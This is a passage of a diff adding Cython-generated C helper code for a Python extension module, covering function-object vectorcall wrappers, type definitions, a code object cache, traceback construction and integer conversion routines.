Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__33); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned 